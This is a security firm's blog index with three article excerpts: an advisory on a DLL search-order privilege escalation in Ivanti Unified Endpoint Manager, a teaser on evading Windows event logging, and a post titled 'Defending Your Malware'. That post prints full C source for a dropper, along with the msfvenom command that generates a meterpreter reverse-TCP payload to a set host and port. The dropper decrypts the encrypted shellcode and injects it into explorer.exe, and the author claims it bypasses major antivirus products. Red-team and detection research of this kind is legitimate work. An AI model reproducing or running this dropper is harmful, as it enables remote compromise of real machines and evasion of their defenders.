Latest Articles
Advisory CVE-2020-13771 - Ivanti Unified Endpoint Manager DLL search order hijacking privilege escalation
Software: Ivanti Unified Endpoint Manager Affected Versions: <= 2020.1.1 Vendor page: www.ivanti.com CVE Reference: CVE-2020-13771 Published: 11/11/2020 CVSS 3.1 Score: 8.1 - AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H Attack Vector: Local Credit: Andrei Constantin Scutariu, Lenk Ratchakrit, Calvin Yau Summary Various services running as user ‘NT AUTHORITY\SYSTEM’ rely on Windows’ DLL search order for loading DLL files that are not present on the filesystem. Under certain circumstances, a local attacker would be able to place a malicious DLL file to obtain code execution in the vulnerable service’s context to elevate privileges.
November 11, 2020,Andrei Constantin Scutariu
Pwning Windows Event Logging with YARA rules
The Event Log coupled with Windows Event Forwarding and Sysmon can be extremely powerful in the hands of defenders, allowing them to detect attackers every step of the way. Obviously this is an issue for the attackers. Before privilege escalation it is limited what we can do to evade event logging, but once privileges have been elevated it is an equal playing field. In the past I have released a method to evade this logging by loading a malicious kernel driver and hooking the NtTraceEvent syscall. This method is effective but has two issues. The main issue is the risk associated with loading a kernel driver and patching syscalls as there is the potential to cause a BSOD on the machine which for obvious reasons a very bad thing. The other issue is that it will simply stop all events from being reported, so while the hook is active that machine will no longer be sending events to the SOC or SIEM. Its a real possibility that defenders would notice this sudden lack of events. So is there a way to only filter out the events caused by an attacker while also remaining completely inside usermode? Yes.
September 4, 2020,bats3c
Defending Your Malware
Malware is an important part of an engagement, though as many security solutions are now evolving past rudimentary signature comparisons to using more advanced techniques to detect malicious activity, it is important that we as attackers understand the methods they are using and how we can avoid them. Consider the following code I wrote for example. #include <stdio.h> #include <windows.h> #include <wincrypt.h> #include <tlhelp32.h> /****************************************************************************************************/ // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.239 LPORT=4444 -f raw -o meter.bin // cat meter.bin | openssl enc -rc4 -nosalt -k "HideMyShellzPlz?" > encmeter.bin // xxd -i encmeter.bin // x86_64-w64-mingw32-gcc dropper.c -o dropper.exe unsigned char encmeter_bin[] = { 0x6e, 0xdc, 0x5b, 0x2a, 0x59, 0xba, 0x87, 0x64, 0x3e, 0x1d, 0x15, 0xcc, 0x55, 0x5e, 0x70, 0xdd, 0xf3, 0x57, 0x98, 0x96, 0x2a, 0xd0, 0x0f, 0xe5, 0x5a, 0xcd, 0xab, 0x28, 0xb3, 0xda, 0xff, 0x70, 0xd5, 0x48, 0x25, 0x7f, 0xaf, 0x87, 0x0b, 0xd4, 0xd5, 0x89, 0x44, 0xa8, 0x47, 0xc1, 0x0d, 0xce, 0x17, 0xf3, 0x64, 0x72, 0x70, 0xd4, 0xd8, 0x5f, 0xfe, 0x66, 0xe1, 0x20, 0x21, 0x89, 0x43, 0xf2, 0xd9, 0x95, 0x17, 0x4e, 0x96, 0xe7, 0x9a, 0xab, 0xa8, 0x14, 0xc9, 0x85, 0x4c, 0x23, 0x5d, 0x8a, 0x24, 0xef, 0x5e, 0x3b, 0xe7, 0x14, 0x74, 0x65, 0x6a, 0x20, 0xe2, 0x03, 0x89, 0x84, 0xfa, 0x9d, 0xf1, 0x97, 0x46, 0xc9, 0x50, 0xc1, 0x07, 0xf6, 0x49, 0xd1, 0x2d, 0x35, 0x45, 0x66, 0x06, 0xf7, 0x49, 0x9b, 0xc8, 0x0b, 0x0e, 0xc1, 0x3b, 0x71, 0x7c, 0xef, 0xbe, 0x94, 0xd5, 0x81, 0xbe, 0x5f, 0x81, 0x6c, 0x7f, 0x18, 0x1e, 0xd7, 0x3f, 0x93, 0x0f, 0x7e, 0x09, 0x2f, 0x53, 0x6c, 0x04, 0x34, 0x77, 0x61, 0x54, 0x56, 0x8f, 0x43, 0xd7, 0x5b, 0xc3, 0x29, 0x1e, 0x16, 0xda, 0xf3, 0x58, 0x83, 0x8c, 0xd7, 0xf2, 0x3d, 0x4c, 0xb4, 0x3d, 0xcb, 0x24, 0xfa, 0x84, 0x00, 0x58, 0x28, 0x96, 0xe0, 0x1b, 0x57, 0x03, 0x2e, 0xc6, 0xc5, 0x22, 0x31, 0xc1, 0x1d, 0xe4, 0xd5, 0x8a, 0x4c, 0x79, 0x5f, 0x83, 0x05, 0xe3, 0x73, 0x8c, 0x11, 0x9e, 0x57, 0xcf, 0x5f, 0xa9, 0x7b, 0x26, 0xfa, 0xc3, 0xad, 0xd1, 0x2c, 0x57, 0x32, 0xbe, 0x3a, 0x41, 0x18, 0x55, 0x87, 0x74, 0xc0, 0xbf, 0x26, 0xd8, 0x01, 0xf0, 0x15, 0xdd, 0x2b, 0xe6, 0x35, 0x7a, 0xcc, 0x18, 0x83, 0xf4, 0xdd, 0xc9, 0x75, 0x68, 0x12, 0x6d, 0x19, 0x10, 0x2b, 0xb6, 0x89, 0x20, 0x35, 0xd4, 0x81, 0x36, 0xe2, 0x4d, 0xf0, 0xfb, 0x1d, 0x0f, 0xfa, 0xb6, 0x9e, 0x74, 0x2d, 0x51, 0x33, 0x79, 0xa8, 0xc1, 0xda, 0x55, 0x14, 0x87, 0x44, 0xc2, 0x19, 0x28, 0x28, 0x8a, 0xe9, 0x24, 0x01, 0x99, 0xae, 0xa4, 0xa1, 0xdf, 0xb1, 0xcf, 0x87, 0x54, 0x93, 0x51, 0xcc, 0xb7, 0x02, 0x4c, 0x2e, 0xeb, 0xdc, 0x7c, 0x72, 0xbe, 0x4b, 0x2c, 0xaa, 0x34, 0x44, 0x6f, 0xbb, 0xc5, 0x79, 0x20, 0xb9, 0x67, 0x52, 0x1e, 0x28, 0x71, 0x40, 0x72, 0xa6, 0x5b, 0x4f, 0xa0, 0xc2, 0x1e, 0x2e, 0x6f, 0x48, 0x16, 0x1a, 0x3a, 0xfd, 0xb5, 0x9b, 0x84, 0x3c, 0x9c, 0x4c, 0x61, 0x63, 0xe0, 0x34, 0x57, 0x24, 0xab, 0x6c, 0x3e, 0xb3, 0x8a, 0x02, 0x74, 0x59, 0x27, 0x20, 0x0f, 0xd5, 0x8e, 0x1e, 0x5c, 0x43, 0x61, 0xf0, 0x4d, 0x5b, 0xb3, 0x00, 0xea, 0x18, 0xb2, 0xef, 0x43, 0x94, 0xd8, 0x5d, 0x5d, 0x4b, 0xc6, 0xd9, 0xed, 0x2f, 0xca, 0xed, 0xe1, 0x79, 0x0c, 0xa1, 0x46, 0x77, 0x78, 0x15, 0x87, 0x9d, 0xea, 0x9e, 0xa6, 0x8b, 0x10, 0x29, 0x49, 0x28, 0xca, 0xc1, 0x07, 0x19, 0x9b, 0x54, 0xb2, 0x1b, 0xd2, 0x9b, 0xbc, 0x7d, 0x9c, 0x14, 0x97, 0x43, 0x7b, 0x33, 0x41, 0xd3, 0x26, 0x7f, 0xe9, 0xf1, 0xbf, 0xfb, 0xd8, 0xc5, 0x96, 0x19, 0x5e, 0x65, 0xa3, 0xb1, 0x18, 0x44, 0x16, 0xc1, 0x63, 0x72, 0xc8, 0x53, 0xa5, 0x74, 0xee, 0x2c, 0x7c, 0xe2, 0x0f, 0xe4, 0x11, 0x91, 0x4d, 0xe3, 0xa4, 0xa6, 0xd9, 0xf0, 0x59, 0x97, 0xbb, 0x86, 0x1e, 0xc4, 0x68, 0x64, 0x4b, 0x45, 0x00, 0xf0, 0x78, 0xac, 0x98, 0x21, 0xfe, 0xd3, 0xdd, 0xe8, 0xa3, 0xca, 0x0d, 0x77, 0xb8, 0xab, 0x7c, 0xe2, 0x64, 0x26, 0x37, 0x76, 0x85, 0x92, 0x91, 0x2e, 0x62, 0x25, 0x6b, 0x3e, 0xd5, 0xf2, 0xf0, 0x9a, 0xda, 0xc3, 0x60, 0x90, 0xca, 0x00, 0x04, 0x19 }; unsigned int encmeter_bin_len = 510; /****************************************************************************************************/ // define our imports typedef HANDLE (WINAPI * OpenProcess_) (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); typedef LPVOID (WINAPI * VirtualAllocEx_) (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); typedef WINBOOL (WINAPI * WriteProcessMemory_) (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); typedef HANDLE (WINAPI * CreateRemoteThread_) (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL DecryptShellcode() { BOOL bSuccess = TRUE; HCRYPTKEY hCryptoKey; HCRYPTHASH hCryptHash; HCRYPTPROV hCryptoProv; DWORD dwLen = 16; BYTE* pbKey = "HideMyShellzPlz?"; bSuccess = CryptAcquireContextW(&hCryptoProv, NULL, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); if (!bSuccess) { goto CLEANUP; } bSuccess = CryptCreateHash(hCryptoProv, CALG_SHA_256, 0, 0, &hCryptHash); if (!bSuccess) { goto CLEANUP; } bSuccess = CryptHashData(hCryptHash, pbKey, dwLen, 0); if (!bSuccess) { goto CLEANUP; } bSuccess = CryptDeriveKey(hCryptoProv, CALG_RC4, hCryptHash, 0,&hCryptoKey); if (!bSuccess) { goto CLEANUP; } bSuccess = CryptDecrypt(hCryptoKey, NULL, FALSE, 0, (BYTE*)encmeter_bin, &encmeter_bin_len); if (!bSuccess) { goto CLEANUP; } goto CLEANUP; CLEANUP: CryptReleaseContext(hCryptoProv, 0); CryptDestroyKey(hCryptoKey); CryptDestroyHash(hCryptHash); return bSuccess; } DWORD FindExplorer() { PROCESSENTRY32 pe32 = {0}; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot) { if(Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, "explorer.exe") == 0) { return pe32.th32ProcessID; } } while(Process32Next(hSnapshot, &pe32)); CloseHandle(hSnapshot); } } return -1; } int main(int argc, char const *argv[]) { DWORD dwPid; LPVOID lpBuffer; HANDLE hProcess, hThread; // resolve imports OpenProcess_ fnOpenProcess = (OpenProcess_)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenProcess"); VirtualAllocEx_ fnVirtualAllocEx = (VirtualAllocEx_)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx"); WriteProcessMemory_ fnWriteProcessMemory = (WriteProcessMemory_)GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory"); CreateRemoteThread_ fnCreateRemoteThread = (CreateRemoteThread_)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateRemoteThread"); // find the pid of explorer.exe dwPid = FindExplorer(); if (dwPid == -1) { printf("[!] Failed to find process\\n"); return -1; } // get a handle on the process hProcess = fnOpenProcess(PROCESS_ALL_ACCESS, 0, dwPid); // alloc memory lpBuffer = fnVirtualAllocEx(hProcess, NULL, (SIZE_T)encmeter_bin_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // decrypt the shellcode if (!DecryptShellcode()) { printf("[!] Failed to decrypt shellcode\\n"); return -1; } // write the shellcode to the process fnWriteProcessMemory(hProcess, lpBuffer, encmeter_bin, encmeter_bin_len, NULL); // start the shellcode hThread = fnCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL); if (hThread == INVALID_HANDLE_VALUE) { printf("[!] Failed to inject shellcode\\n"); return -1; } printf("[+] Successfully injected shellcode\\n"); return 0; } It’s an pretty basic bit of malware that will simply inject a meterpreter stager into explorer.exe using well known, unsophisticated methods. Despite this it will easily bypass the detection’s used by major AV vendors. It’s not so lucky with EDR solutions though, as within seconds there is critical alerts flying all over the place. So whats different? Why does it beat AV yet fail miserably against EDR?
August 11, 2020,bats3c